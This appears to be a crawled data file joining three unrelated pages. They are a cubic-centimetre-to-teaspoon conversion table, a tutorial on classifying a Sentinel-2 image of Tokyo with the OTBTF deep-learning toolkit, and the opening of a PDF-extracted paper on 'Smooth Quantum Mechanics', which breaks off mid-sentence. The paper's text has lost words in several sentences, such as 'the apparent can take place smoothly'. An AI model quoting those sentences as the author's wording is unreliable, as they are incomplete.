teaspoons:\n\n281 cm3 ≅ 57.01 tsp\n\nAn alternative is also that one teaspoon is approximately zero point zero one eight times two hundred eighty-one cubic centimeters.\n\n## Conversion table\n\n### cubic centimeters to teaspoons chart\n\nFor quick reference purposes, below is the conversion table you can use to convert from cubic centimeters to teaspoons\n\ncubic centimeters (cm3) teaspoons (tsp)\n282 cubic centimeters 57.213 teaspoons\n283 cubic centimeters 57.416 teaspoons\n284 cubic centimeters 57.619 teaspoons\n285 cubic centimeters 57.822 teaspoons\n286 cubic centimeters 58.025 teaspoons\n287 cubic centimeters 58.228 teaspoons\n288 cubic centimeters 58.431 teaspoons\n289 cubic centimeters 58.634 teaspoons\n290 cubic centimeters 58.836 teaspoons\n291 cubic centimeters 59.039 teaspoons" ]
[ null ]
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https://mdl4eo.irstea.fr/tag/orfeo-toolbox/
[ "## An introduction to deep learning on remote sensing images (Tutorial)\n\nUpdate (28/01/2020): open dataset, available for download!\n\nIn this tutorial, we will see how to train and apply a deep neural network on real world remote sensing images, using only user-oriented open-source software. No coding skills required!\n\n## Data\n\nOur “Tokyo dataset” is freely available. It is composed as follow:\n\n• One Sentinel-2 image, that can be downloaded from the European Space Agency hub or from your preferred Sentinel access portal. Just download the Sentinel-2 image acquired over the city of Tokyo the 2019/05/08 (Mission: Sentinel-2, Platform: S2A_*) named S2A_MSIL2A_20190508T012701_N0212_R074_T54SUE_20190518T165701.\n• Two label images of terrain truth (one for training and one for validation). Each pixel is either a “no-data” value (255) or a class value (starting from 0). The files can be downloaded here (also provided: the style .qml file for QGIS). This dataset has been elaborated for educational purpose at our research facility, using Open Street Map data.\n\n## Goal\n\nWe want to classify the Sentinel-2 image, meaning that we intend to estimate the class for each pixel. Since our terrain truth data is sparsely annotated, our approach consist in training a network that estimates one single class value for a particular patch of image. If we had a densely annotated dataset, we could have used the semantic segmentation approach, but this will be another story (soon on this blog!).\n\nWe will use the OTBTF remote module of the Orfeo ToolBox. OTBTF relies on TensorFlow to perform numeric computations. You can read more about OTBTF on the blog post here.", null, "OTBTF = Orfeo ToolBox (OTB) + TensorFlow (TF)\n\nIt is completely user-oriented, and you can use the provided applications in graphical user interface as any Orfeo ToolBox applications. Concepts introduced in OTBTF are presented in . The easiest way to install and begin with OTBTF is to use the provided docker images.\n\n## Deep learning backgrounds\n\nTo goal of this post is not to do a lecture about how deep learning works, but quickly summarizing the principle!\n\nDeep learning refers to artificial neural networks with deep neuronal layers (i.e. a lot of layers !). Artificial neurons and edges typically have parameters that adjust as learning proceeds.\n\nWeights modify the strength of the signal at a connection. Artificial neurons may output in non linear functions to break the linearity, for instance to make the signal sent only if the aggregate signal crosses a given threshold. Typically, artificial neurons are aggregated into layers. Different layers may perform different kinds of transformations on their inputs. Signals travel from the first layer (the input layer), to the last layer (the output layer), possibly after traversing the layers multiple times. Among common networks, Convolutional Neural Networks (CNN) achieve state of the art results on images. CNN are designed to extract features, enabling image recognition, object detection, semantic segmentation. A good review of deep learning techniques applied to remote sensing can be found here . In this tutorial, we focus only on CNN for a sake of simplicity.\n\n## Let’s start\n\nDuring the following steps, we advise you to use QGIS to check generated geospatial data. Note that applications parameters are provided in the form of command line, but can be performed using the graphical user interface of OTB!\n\nWe can decompose the steps that we will perform as follow:\n\n• Sampling: we extract patches of images associated to the terrain truth,\n• Training: we train the model from patches,\n• Inference: Apply the model to the full image, to generate a nice landcover map!\n\n### Normalize the remote sensing images\n\nWe will stack and normalize the Sentinel-2 images using BandMathX. We normalize the images such as the pixels values are within the [0,1]  interval.\n\n``# Go in S2 foldercd S2A_MSIL2A_20190508T012701_N0212_R074_T54SUE_20190508T041235.SAFEcd GRANULE/L2A_T54SUE_A020234_20190508T012659/IMG_DATA/R10m/# Apply BandMathXotbcli_BandMathX \\-il T54SUE_20190508T012701_B04_10m.jp2 \\ T54SUE_20190508T012701_B03_10m.jp2 \\ T54SUE_20190508T012701_B02_10m.jp2 \\ T54SUE_20190508T012701_B08_10m.jp2 \\-exp \"{im1b1/im1b1Maxi;im2b1/im2b1Maxi;im3b1/im3b1Maxi;im4b1/im4b1Maxi}\" \\-out Sentinel-2_B4328_10m.tif``\n\n### Sampling the remote sensing images\n\nThe first step to apply deep learning techniques to real world datasets is sampling. The existing framework of OTB offers great tools for pixel wise or object oriented classification/regression tasks. On the deep learning side, nets like CNNs are trained over patches of images rather than batches of single pixel. Hence the first application of OTBTF we will present targets the patches sampling and is called PatchesExtraction.\n\nThe PatchesExtraction application integrates seamlessly in the existing sampling framework of OTB. Typically, we have two options depending if our terrain truth is vector data or label image.\n\n1. Vector data: one can use the PolygoncClassStatistics (computes some statistics of the input terrain truth) and SampleSelection applications to select patches locations, then give them to the PatchesExtraction application.\n2. Label image: we can directly use the LabelImageSampleSelection application from the OTBTF to select the patches locations.\n\nIn our case, we have terrain truth in the form of a label image. We hence will use option 2. Let’s select 500 samples for each classes with the command line below:\n\n``# Samples selection for group Aotbcli_LabelImageSampleSelection \\-inref ~/tokyo/terrain_truth/terrain_truth_epsg32654_A.tif \\-nodata 255 \\-outvec terrain_truth_epsg32654_A_pos.shp \\-strategy \"constant\" \\-strategy.constant.nb 500``\n\nWhere :\n\n• inref is the label image,\n• nodata is the value for “no-data” (i.e. no annotation available at this location),\n• strategy is the strategy to select the samples locations,\n• outvec is the filename for the generated output vector data containing the samples locations.\n\nRepeat the previously described steps for the second label image (`terrain_truth_epsg32654_B.tif`). Open the data in QGIS to check that the samples locations are correctly generated.\n\n### Patches extraction\n\nNow we should have two vector layers:\n\n• `terrain_truth_epsg32654_A_pos.shp`\n• `terrain_truth_epsg32654_B_pos.shp`\n\nIt’s time to use the PatchesExtraction application. The following operation consists in extracting patches in the input image, at each location of the terrain_truth_epsg32654_A_pos.shp. In order to train a small CNN later, we will create a set of patches of dimension 16×16 associated to the corresponding label given from the class field of the vector data. Let’s do this :\n\n``# Patches extractionotbcli_PatchesExtraction \\-source1.il Sentinel-2_B4328_10m.tif \\-source1.patchsizex 16 \\-source1.patchsizey 16 \\-source1.out Sentinel-2_B4328_10m_patches_A.tif \\-vec terrain_truth_epsg32654_A_pos.shp \\-field \"class\" \\-outlabels Sentinel-2_B4328_10m_labels_A.tif uint8``\n\nWhere:\n\n• source1 is first image source (it’s a parameter group),\n• source1.il is the input image list of the first source,\n• source1.patchsizex is the patch width of the first source,\n• source1.patchsizey is the patch height of the first source,\n• source1.out is the output patches image of the first source,\n• vec is the input vector data of the points (samples locations),\n• field is the attribute that we will use as the label value (i.e. the class),\n• outlabels is the output image for the labels (we can force the pixel encoding to be 8 bits because we just need to encore small positive integers).\n\nAfter this step, you should have generated the following output images, that we will name “the training dataset”:\n\n• `Sentinel-2_B4328_10m_patches_A.tif`\n• `Sentinel-2_B4328_10m_labels_A.tif`\n`Trick to check the extracted patches from QGIS : Simply open the patches as raster layer, then chose the same coordinates reference system as the current project (indicated on the bottom right of the window).`\n\nRepeat the previously described steps for the vector layer terrain_truth_epsg32654_B_pos.shp and generate the patches and labels for validation. After this step, you should have the following data that we will name “the validation dataset” :\n\n• `Sentinel-2_B4328_10m_patches_B.tif`\n• `Sentinel-2_B4328_10m_labels_B.tif`\n`Side note on pixel interleave: sampled patches are stored in one single big image that stacks all patches in rows. There is multiple advantages to this. In particular, accessing one unique big file is more efficient than working on thousands of separate small files stored in the file system. The interleave of the sampled source is also preserved, which, guarantee good performance during data access.`\n\n### Training\n\nHow to train a deep net ? To begin with something easy, we will train a small existing model. We focus on a CNN that inputs our 16 × 16 × 4 patches and produce the prediction of an output class among 6 labels ranging from 0 to 5.\n\n#### Basics\n\nHere is a quick overview of some basic concepts about the training of deep learning models.\n\nModel training usually involves a gradient descent (in the network weights space) of a loss function that typically expresses the gap between estimated and reference data. The batch size defines the number of samples that will be propagated through the network for this gradient descent. Supposing we have N training samples and we want to use a batch size of n. During learning, the first n samples (from 1 to n) will be used to train the network. Then, the second n samples (from n+1 to 2n) will be used to train the network again. This procedure is repeated until all samples are propagated through the network (this is called one epoch).\n\n#### Model guts\n\nWe propose to introduce a small and simple CNN to better understand the approach. This section describe what is inside this model. The figure below summarizes the computational graph of our CNN.\n\nInput : The image patches fed the placeholder named “x” in the TensorFlow model. The first dimension of “x” might have any number of components. This dimension is usually employed for the batch size, and isn’t fixed to enable the use of different batch size. For instance, assuming we want to train our model with a batch of 10 samples, we will fed the model a multidimensional array of size 10 × 16 × 16 × 4 in the placeholder “x” of size # × 16 × 16 × 4.\n\nDeep net : “x” is then processed by a succession of 2D-Convolution/Activation function (Rectified linear)/Pooling layer. After the last activation function, the features are processed by a fully connected layer of 6 neurons (one for each predicted class).\n\nPredicted class : The predicted class is the index of the neuron (from the last neuron layer) that output the maximum value. This is performed in processing the outputs of the last fully connected layer with the Argmax operator, which is named “prediction” in the graph.\n\nCost function : The goal of the training is to minimize the cross-entropy between the data distribution (real labels) and the model distribution (estimated labels). We use the cross-entropy of the softmax of the 6 neurons as a cost function. In short, this will measure the probability error in the discrete classification task in which the classes are mutually exclusive (each entry is in exactly one class). For this, the model implements a function of TensorFlow know as Softmax cross entropy with logits. This function first computes the Softmax function of the 6 neurons outputs. The softmax function will normalize the output such as their sum is equal to 1 and can be used to represent a categorical distribution, i.e, a probability distribution over n different possible outcomes. The Shannon cross entropy between true labels and probability-like values from the softmax is then computed, and considered as the loss function of the deep net.\n\nOptimizer : Regarding the training, a node called “optimizer” performs the gradient descent of the loss function : this node will be used only for training (or fine tuning) the model, it is useless to serve the model for inference ! The method implemented in this operator is called Adam (like “Adaptive moment estimation” ). A placeholder named “lr” controls the learning rate of the optimizer : it holds a single scalar value (floating point) and can have a default value.", null, "Our first CNN architecture ! The network consist in two placeholders (“x” and “lr”) respectively used for input patches (4 dimensional array) and learning rate (single scalar), one output tensor (“prediction”, one dimensional array) and one target node (“optimizer”, used only for training the net). “#” means that the number of component for the first dimension is not fixed.\n`Important note: The functions used in our model are working on labels that are integers ranging from 0 to N-1 classes. The first class number must be 0 to enforce the class numbering convention of the TensorFlow functions used in our model.`\n\nTo generate this model, just copy-paste the following into a python script named create_model1.py\n\nYou can also skip this copy/paste step since this python script is located here\n\n``````from tricks import *\nimport sys\nimport os\n\nnclasses=6\n\ndef myModel(x):\n\n# input patches: 16x16x4\nconv1 = tf.layers.conv2d(inputs=x, filters=16, kernel_size=[5,5], padding=\"valid\",\nactivation=tf.nn.relu) # out size: 12x12x16\npool1 = tf.layers.max_pooling2d(inputs=conv1, pool_size=[2, 2], strides=2) # out: 6x6x16\nconv2 = tf.layers.conv2d(inputs=pool1, filters=16, kernel_size=[3,3], padding=\"valid\",\nactivation=tf.nn.relu) # out size: 4x4x16\npool2 = tf.layers.max_pooling2d(inputs=conv2, pool_size=[2, 2], strides=2) # out: 2x2x16\nconv3 = tf.layers.conv2d(inputs=pool2, filters=32, kernel_size=[2,2], padding=\"valid\",\nactivation=tf.nn.relu) # out size: 1x1x32\n\n# Features\nfeatures = tf.reshape(conv3, shape=[-1, 32], name=\"features\")\n\n# neurons for classes\nestimated = tf.layers.dense(inputs=features, units=nclasses, activation=None)\nestimated_label = tf.argmax(estimated, 1, name=\"prediction\")\n\nreturn estimated, estimated_label\n\n\"\"\" Main \"\"\"\nif len(sys.argv) != 2:\nprint(\"Usage : <output directory for SavedModel>\")\nsys.exit(1)\n\n# Create the TensorFlow graph\nwith tf.Graph().as_default():\n\n# Placeholders\nx = tf.placeholder(tf.float32, [None, None, None, 4], name=\"x\")\ny = tf.placeholder(tf.int32 , [None, None, None, 1], name=\"y\")\nlr = tf.placeholder_with_default(tf.constant(0.0002, dtype=tf.float32, shape=[]),\nshape=[], name=\"lr\")\n\n# Output\ny_estimated, y_label = myModel(x)\n\n# Loss function\ncost = tf.losses.sparse_softmax_cross_entropy(labels=tf.reshape(y, [-1, 1]),\nlogits=tf.reshape(y_estimated, [-1, nclasses]))\n\n# Optimizer\noptimizer = tf.train.AdamOptimizer(learning_rate=lr, name=\"optimizer\").minimize(cost)\n\n# Initializer, saver, session\ninit = tf.global_variables_initializer()\nsaver = tf.train.Saver( max_to_keep=20 )\nsess = tf.Session()\nsess.run(init)\n\n# Create a SavedModel\nCreateSavedModel(sess, [\"x:0\", \"y:0\"], [\"features:0\", \"prediction:0\"], sys.argv)``````\n\nThe imported tricks.py is part of the OTBTF remote module, and contains a set of useful functions and helpers to create SavedModel . It is located in the OTBTF source code. The environment variable PYTHONPATH must hence contain the path to this directory to enable the use of tricks.py in our script. Our python script uses the TensorFlow python API to generate the model, and serializes it as a SavedModel (google protobuf) written on disk.\n\nYou can finally generate the SavedModel with:\n\n``python create_model1.py data/results/SavedModel_cnn``\n\n#### Training from scratch\n\nIf you take a look in the data/results/SavedModel_cnn directory, you will see a .pb file and a Variables folder. The protobuf file serializes the computational graph, and the Variables folder contains the values of the model weights (kernels, etc.). As you could have noticed in the python script, the model weights are initialized before exporting the SavedModel . We will use the TensorflowModelTrain application to train the CNN from its initialized state, updating its weights for the image classification task. For each dataset (training data and validation data), the validation step of the TensorflowModelTrain application consists in computing usual validation metrics.\n\nLet’s quickly summarize the application parameters:\n\n• training.source1 is a parameter group for the patches source (for learning)\n• training.source1.il is the input image filename of the patches\n• training.source1.patchsizex is the patch width\n• training.source1.patchsizey is the patch height\n• training.source1.placeholder is the name of the placeholder for the patches\n• training.source2 is a parameter group the labels source (for learning)\n• training.source2.il is the input image filename of the labels\n• training.source2.patchsizex is the labels width\n• training.source2.patchsizey is the labels height\n• training.source2.placeholder is the name of the placeholder for the labels\n• model.dir is the directory containing the TensorFlow SavedModel\n• training.targetnodes is the name of the operator that we want to compute for the training step. In our model, the gradient descent is done with the adam optimizer node called “optimizer”.\n• validation.mode is the validation mode. The “class” validation mode enables the computation of classification metrics for bot training data and validation data.\n• validation.source1 is a parameter group for the patches source (for validation). As the name of the source for validation (validation.source1.name) is the same as the placeholder name of the same source for training (training.source1.placeholder), this source is considered as an input of the model, and is fed to the corresponding placeholder during the validation step.\n• validation.source2 is the labels source (for validation). As the name of the source (validation. source2.name) is different than the placeholder name of the same source for training (training.source2.placeholder), this source is considered as a reference to be compared to the output of the model that have the same tensor name during the validation step.\n• model.saveto enables to export the model variables (i.e. weights) to a file\n\nThe command line corresponding to the above description is the following:\n\n``````# Train the deep learning model\notbcli_TensorflowModelTrain \\\n-training.source1.il Sentinel-2_B4328_10m_patches_A.tif \\\n-training.source1.patchsizex 16 \\\n-training.source1.patchsizey 16 \\\n-training.source1.placeholder \"x\" \\\n-training.source2.il Sentinel-2_B4328_10m_labels_A.tif \\\n-training.source2.patchsizex 1 \\\n-training.source2.patchsizey 1 \\\n-training.source2.placeholder \"y\" \\\n-model.dir \"data/results/SavedModel_cnn\" \\\n-training.targetnodes \"optimizer\" \\\n-validation.mode \"class\" \\\n-validation.source1.il Sentinel-2_B4328_10m_patches_B.tif \\\n-validation.source1.name \"x\" \\\n-validation.source2.il Sentinel-2_B4328_10m_labels_B.tif \\\n-validation.source2.name \"prediction\" \\\n-model.saveto \"data/results/SavedModel_cnn/variables/variables\"``````\n\nRun the TensorflowModelTrain application. After the epochs, note the kappa and overall accuracy indexes (should be respectively around 0.7 over the validation dataset). Browse the file system, and take a look in the data/results directory : you can notice that the application has updated two files :\n\n• `variables.index` is a summary of the saved variables,\n• `variables.data-xxxxx-of-xxxxx` is the saved variables (TensorflowModelTrain saved them only once at the end of the training process).\n\n### A quick comparison of scores versus Random Forest\n\nLet’s use OTB to compare quickly the scores obtained using RF.\n\nHere, we compare our tiny deep net to a Random Forest (RF) classifier. We use the metrics deriving from the confusion matrix. Let’s do it quickly thank to the machine learning framework of OTB First, we use the exact same samples as for the deep net training and validation, to extract the pixels values of the image :\n\n``````# Extract the pixels values at samples locations (Learning data)\notbcli_SampleExtraction \\\n-in Sentinel-2_B4328_10m.tif \\\n-vec terrain_truth_epsg32654_A_pos.shp \\\n-field \"class\" \\\n-out terrain_truth_epsg32654_A_pixelvalues.shp``````\n\nThen, we do the same with the `terrain_truth_epsg32654_B_pos.shp` vector data (validation data). Finally, we train a RF model with default parameters:\n\n``````# Train a Random Forest classifier with validation\notbcli_TrainVectorClassifier \\-io.vd terrain_truth_epsg32654_A_pixelvalues.shp \\-valid.vd terrain_truth_epsg32654_B_pixelvalues.shp \\-feat \"value_0\" \"value_1\" \"value_2\" \"value_3\" \\-cfield \"class\" \\-classifier \"rf\" \\-io.out randomforest_model.yaml``````\n\nCompare the scores. The kappa index should be around 0.5, more than 20% less than our CNN model.\n\nIt’s not a surprise that the metrics are better with CNN than RF: The CNN uses a lot more information for training, compared to the RF. It learns on\n16 × 16 patches of multispectral image, whereas the RF learns only on multispectral pixels (that could be interpreted as a 1 × 1 patches of multispectral image). So let’s not say that CNN is better than RF! The goal here is not to compare RF vs CNN, but just to show that the contextual information process by the CNN is useful in classification task. A more fair competitor could be a RF using spatial features like textures, local Fourier transforms, SIFTs, etc.\n\n## Create a landcover map\n\nAt least!\n\n### Updating the CNN weights\n\nAs explained before, the TensorFlow model is serialized as a SavedModel , which is a bundle including the computational graph, and the model variables (kernel weights). We have previously trained our model from scratch : we have updated its variables from their initial state, and saved them on the file system.\n\n### Running the model\n\nLet’s run the model over the remote sensing image to produce a nice land cover map! For this, we will use the TensorflowModelServe application. We know that our CNN input has a receptive field of 16 × 16 pixels and the placeholder name is “x”. The output of the model is the estimated class, that is, the tensor resulting of the Argmax operator, named “prediction”. Here, we won’t use the optimizer node as it’s part of the training procedure. We will use only the model as shown in the following figure:", null, "For the inference, we use only the placeholders (“x” and we compute the one output tensor named (“prediction”, one dimensional array).\n\nAs we might have no GPU support for now, it could be slow to process the whole image. We won’t produce the map over the entire image (even if that’s possible thank to the streaming mechanism) but just over a small subset. We do this using the extended filename of the output image, setting a subset starting at pixel 1000, 4000 with size 1000 × 1000. This extended filename consists in adding ?&box=1000 :4000 :1000 :1000 to the output image filename. Note that you can also generate a small image subset with the ExtractROI application of OTB, then use it as input of the TensorflowModelServe application.\n\n``otbcli_TensorflowModelServe \\-source1.il Sentinel-2_B4328_10m.tif \\-source1.rfieldx 16 \\-source1.rfieldy 16 \\-source1.placeholder \"x\" \\-model.dir \"data/results/SavedModel_cnn\" \\-output.names \"prediction\" \\-out \"classif_model1.tif?&box=4000:4000:1000:1000\"``\n\nWhere:\n\n• source1 is a parameter group for the first image source,\n• source1.il is the input image list of the first source,\n• source1.rfieldx is the receptive field width of the first source,\n• source1.rfieldy is the receptive field height of the first source,\n• source1.placeholder is placeholder name corresponding to the the first source in the TensorFlow model,\n• model.dir is the directory of the SavedModel ,\n• output.names is the list of the output tensor that will be produced then generated as output image,\n• out is the output image generated from the TensorFlow model applied to the entire input image.\n\nNow import the generated image in QGIS. You can change the style of the raster : in the layers panel (left side of the window), right-click on the image then select properties,and import the provided `legend_style.qml` file.\n\n`Important note: We just have run the CNN in patch-based mode, meaning that the application extracts and process patches independently at regular intervals. This is costly, because the sampling strategy requires to duplicate a lot of overlapping patches, and process them independently. The TensorflowModelServe application enables to uses fully convolutional models, enabling to process seamlessly entire output images blocks... but that's also another story! `\n\n## Conclusion\n\nThis tutorials has explained how to perform an image classification using a simple deep learning architecture.\n\nThe OTBTF, a remote module of the Orfeo ToolBox (OTB), has been used to process images from a user’s perspective: no coding skills were required for this tutorial. QGIS was used for visualization purposes.\n\nWe will be at IGARSS 2019 for a full day tutorial extending this short introduction, and we hope to see you there!\n\nWant more? To go further (multi-branch models, fully-convolutional models, semantic segmentation models, …) we encourage the reader to check the OTBTF documentation section, which provides some ready-to-use deep networks, with documentation and scientific references.\n\n###### Edit 22/07/2020\n\nI am happy to announce the release of my bookDeep learning for remote sensing images with open-source softwareon Taylor & Francis (https://doi.org/10.1201/9781003020851). The book extends significantly this tutorial, keeping the same format. It contains further sections to learn how to apply patch-based models, hybrid classifiers (Random Forest working on Deep learning features), Semantic segmentation, and Image restoration (Optical images gap filling from joint SAR and time series).\n\n## Bibliography\n\n R. Cresson, A Framework for Remote Sensing Images Processing Using Deep Learning Techniques. IEEE Geoscience and Remote Sensing Letters, 16(1) :25-29, 2019.\n\n Liangpei Zhang, Lefei Zhang, and Bo Du. Deep learning for remote sensing data : A technical tutorial on the state of the art. IEEE Geoscience and Remote Sensing Magazine, 4(2) :22–40, 2016.\n\n Diederik P Kingma and Jimmy Ba. Adam : A method for stochastic optimization. arXiv preprint arXiv :1412.6980, 2014." ]
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https://docslib.org/doc/7251508/smooth-quantum-mechanics-quantum-mechanics-without-discontinuities-in-time-evolution
[ "<<\n\nhttp://philsci-archive.pitt.edu/ manuscript No. (will be inserted by the editor)\n\nOvidiu Cristinel Stoica Smooth Quantum Mechanics without discontinuities in evolution\n\nAbstract I show that the apparent can take place smoothly, without discontinuities. The projections on the ’s eigenspaces can be obtained by a delayed initial condition, imposed to the smooth time evolution of the observed system entangled with the measurement device used for the preparation. Since the quantum state of this device is not available entirely to the observer, its unknown degrees of freedom inject, by the means of entanglement, an apparent randomness in the observed system, leading to a probabilistic behavior. Thus, we can construct a Smooth Quantum Mechanics (SQM), without the need of discontinuities in time evolution. The probabilities occur therefore because not all the systems involved have determined quantum states. The evolution is deterministic, but for an observer, who has access only to an incomplete set of initial conditions, it appears to be indeterministic. Keywords Quantum mechanics interpretation · wave function collapse · state vector reduction · quantum measurement · projection postulate · many worlds interpretation · hidden variables · non-locality · realism · vs. indeterminism · determinism vs. free will. PACS 03.65.-w · 03.65.Ud · 03.65.Ta\n\n1 The problem of discontinuities in Quantum Mechanics\n\n1.1 The time evolution of a Quantum System\n\nA quantum system which is in a pure state, and not entangled with another system, evolves according to the Schrodinger¨ equation: ( ih¯ ∂ |ψ(t)i = H(t)|ψ(t)i ∂t (1) |ψ(t0)i = |ψ0i, where |ψ(t)i ∈ S is a state vector from the state space S , and H(t) is the Hamiltonian, usually a hermitian on S . If the quantum system is closed, then H is time independent, but in general, it is time de- pendent, because of the interactions with other systems. For more general interactions, the observed system can become entangled with other systems, and its state will no longer be pure. In this case, as well as in the case when we don’t know the initial data, but rather a probability distribution, we represent the state by a density operator ρ on S . For these situations, we will employ, instead of the equation (1), the Liouville - von Neumann equation: ( ih ∂ρ(t) = [H(t),ρ(t)] ¯ ∂t (2) ρ(t0) = ρ0.\n\nOvidiu Cristinel Stoica Tel.: +407-23-347483 E-mail: [email protected] 2\n\n1.2 The measurement problem\n\nWhen a measurement is performed to a quantum system, this one is found to be in an eigenstate of the observable. There are two main problems raised by this fact. First: why only eigenstates of the are obtained as outcomes of the observations? Why don’t we observe superpositions of such eigenstates, like a |deadi + |alivei Schrodinger¨ cat? This is the main problem of the measurement, which, in this article, will be accepted as it is, without offering an explanation. The second problem is the following. Knowing the state of a quantum system, and assuming that a measurement will find the system in an eigenstate of the observable, it seems like a discontinuous jump happens. How is this happening? Is this jump really discontinuous? What is its nature? In this article, I will propose a solution to this discontinuity problem in Quantum Mechanics.\n\n1.3 One-measurement\n\nThe Schrodinger¨ equation (1), as well as the Liouville - von Neumann equation (2), are PDE equations. Each solution can be uniquely specified by an initial condition. The initial condition is obtained by performing a measurement at an initial moment t0. Let’s consider that we measure the of an electron, at the instant t0. The obtained result will determine the electron’s spin both for moments t with t < t0, and with t > t0. The classical view is that the measurement only revealed the state of the system, and the solution of the evolution equation preexisted long time before the measurement. On the other hand, in Quantum Mechanics, we can choose what observable to measure, thus, we can choose the set of admitted eigenstates. So, if the solution we detected by measurement preexisted, it did this in a way that anticipated our choice of the observables. This choice can be performed with a delay, to make sure that it doesn’t affect in a causal way the observed system. This was emphasized by Wheeler [1–3] when he revived 1 the idea of delayed-choice experiments. In the case of the electron spin, when we choose the direction to measure the spin, we let available only two possible eigenstates for the spin. Had we choose a different direction, the eigenstates would be different. So, our choice limited the possible outcomes. And when we measure the spin, we determine not only what spin the electron has at t0, but also for previous t, as we can see from entanglement situations like the one pointed by Einstein, Podolsky, and Rosen (in Bohm’s version ). We can conclude that one measurement determines uniquely the state at t0, hence the solution, and this determination seems to affect the past in a weird way. We cannot say that it can change it, rather it is only an initial condition, established with a (very large) delay. The one-measurement situation makes apparent that the eigenstate can be selected without involving the discontinuous wave function collapse.\n\n1.4 Two-measurements case and the wave function collapse\n\nLet’s consider a system whose evolution is described by the Schrodinger¨ equation (1). Suppose that, after an observation at t0 finds the system in an eigenstate, we perform a second observation, at the time t1. If the state predicted by the evolution equation is an eigenstate of the second observable, then it will be obtained at the second measurement. If not, then the second observation cannot impose an initial condition, at t1, compatible with the unitary evolution governed by the Schrodinger¨ equation. We can see that one observation imposes an initial condition to the Schrodinger¨ equation, but a second observation either confirms the solution, or it is incompatible with it. In this case, it should not be possible to perform more than one observation of a system. A quantum system has a wave-like behavior, described by the Schrodinger¨ equation, or by the Liouville - von Neumann equation, and a quantum behavior, expressed by the condition to be found in an eigenstate of the observable. These two behaviors seem to be incompatible. But we know from experience that we can perform more observations to the same quantum system. This has the appearance of a jumping from one solution of the Schrodinger¨ equation to another one, in a discon- tinuous fashion. The analysis of delayed-choice experiments suggests that, if a collapse happened, it took place in advance, during the previous interaction, possible even at t0 (please refer to figure 1).\n\n1 It seems that similar suggestions were made before by Weiszacker¨ and Bohr . 3\n\npreparation observation S\n\nreduction\n\nψ0 |ψi | i\n\ntime t0 t1 Fig. 1 In a delayed-choice experiment, the reduction seems to take place in advance, anticipating the experimenter’s choice of the observable.\n\n1.5 Why discontinuities cause problems?\n\nThe acceptance that a quantum system is subject of a discontinuous wave function collapse can raise several problems. On the one hand, if we consider the observed system as being a part of a larger one (perhaps the Universe), containing the measurement device too, as a quantum subsystem, the measurement can be described by the evolution equation, and we expect that no discontinuous collapse appears. But, when we refer to the observed system only, we cannot see how the discontinuity can be avoided. We seem to have a paradox: a system evolving with discontinuities, being in the same time a subsystem of one evolving smoothly. Another problem is that the discontinuous collapse has been postulated, but never observed directly. It is not known any mechanism that can produce it, we don’t know when exactly it takes place. An explanation is required, since we cannot accept that it simply happens. In Quantum Mechanics, an observable that commutes with the Hamiltonian of the system is conserved during the evolution. But the conservation holds only as long as the system evolves governed by the Hamilto- nian (Schrodinger¨ equation or Liouville - von Neumann equation). Since performing a measurement makes the system jump in a totally different state, it is expected that the conservation laws are broken. For example, if we measure the momentum of the system, and then measure its position, then the initial momentum is lost. If we measure again the momentum, we should expect to obtain a totally different value than the first time. We can expect that, after several measurements, the conserved quantities of the system be totally blown up. The discontinuities are incompatible with the conservation laws, but the conservation laws don’t break down as a result of measurements. Something happens always to restore them. To make them compatible, we need to appeal to a “magical postulate”: During the state vector reductions, the conservation laws can no longer be deduced from the Hamiltonian, but they must be restored in some way or another. The problem is that we don’t know any explanation for the conservation laws, other than the time evolution described by the equations (1) and (2). Breaking this evolution should break the conservation laws, contrary to our experimental observations. The quantum world is like a great illusionist, who has in his sleeves a lot of tricks that make us believing that the quantum system jumps discontinuously from time to time. But we have to remember that, in the end, there must be a logical explanation for the illusion number presented in the show, and to look for the strings.\n\n1.6 Can discontinuities be avoided?\n\nIn the following, I will show that the apparent wave function collapse can be explained by the standard Quan- tum Mechanics, minus the discontinuity, as a smooth and natural phenomenon. The first ingredient comes from the discussion above (§1.3), concerning a system undergoing only one measurement. A measurement 4\n\nfixes the initial data for a quantum system; going to a larger system, makes those initial conditions insuffi- cient, therefore, a new measurement is allowed. The second ingredient is the entanglement with the device performing the previous measurement (which will be named preparation device).\n\n2 Quantum Mechanics without discontinuities\n\nWe begin by considering the measurement from a semi-classical viewpoint: the observed system is quantum, and the preparation device is classical.\n\n2.1 The semi-classical interaction approach\n\nLet’s consider a quantum system evolving according to the Schrodinger¨ equation (1), subject to a first measurement (the preparation) starting at the instant t0 and ending at t0 + ε, and a second measurement at t1 > t0 + ε. If we consider the preparation device as being classical, its influence can be described by an interaction Hamiltonian Hint(t). Thus, in the Dirac picture, the Hamiltonian is:\n\nH(t) = H0 + Hint(t). The preparation device is considered classical, this meaning that its true state, which is quantum, is un- known. There will be a large set of quantum states which, at the classical level, will look identical. This set of equivalent quantum states can be parametrized, with both discrete and continuous parameters. Let’s take a smooth parametrization u(t) of its continuous degrees of freedom. The interaction Hamiltonian Hint(t) will depend on u(t), such that Hint(t) = Hint(t,u). Each choice of the parameters u(t) will lead to a state of the system at t given by\n\n|ψ(t,u)i = U(t,t0,u)|ψ(t0)i. Before the introduction of the degrees of freedom parametrized by u(t), there was only one possible state at t1 for the observed system. Now, by varying u, |ψ(t1,u)i also changes. We ask the following question: What condition should the parameters u satisfy, such that all possible outcomes of any possible observa- tion taking place at t1 are reached by |ψ(t1,u)i? This is a problem of Quantum Control Theory. Under some general assumptions on u(t), the condition is that the Lie associated to the Lie algebra generated by the matrices of the form iH(t,u) should contain all the possible unitary transformations. If the dimension of S is n < ∞, then it is enough that the rank of the Lie algebra generated in this way to be identical to the rank of the unitary Lie algebra u(n). This holds when there is no time limit, but in our case, the time is limited to t0 + ε, bringing a new restriction. On the other hand, we don’t want to obtain all possible states at t1, since we don’t need the ones orthogonal to |ψ0i. The parameters u(t) can be determined by appropriate initial conditions. Similarly to the one-measurement case, the initial conditions are determined such that the system evolves to be the appropriate eigenstate of the observable, at t1. In the figure 2 we can see how the Hamiltonian can prepare the observed system to be in an eigenstate of the observable.\n\nAssuming that the observable corresponding to the measurement at t1 is O1, for each outcome |ψO1,λ i of the measurement, corresponding to an eigenvalue λ, there must exist a choice uO1,λ of the parameters u(t) such that the interaction send the observed system in |ψO1,λ i. The corresponding unitary operator is UO1,λ (t1,t0), so that |ψO1,λ i = UO1,λ (t1,t0)|ψ0i. Let us consider the following example, raised by Einstein to Bohr, at the Fifth Solvay Conference (Brussels 1927). Einstein said that, in a two-slit experiment, if we measure the recoil of the wall containing the two slits, when the light passes through it, one should be able to deduce whether the photon passed through one slit or the other. As Bohr replied to him, if we 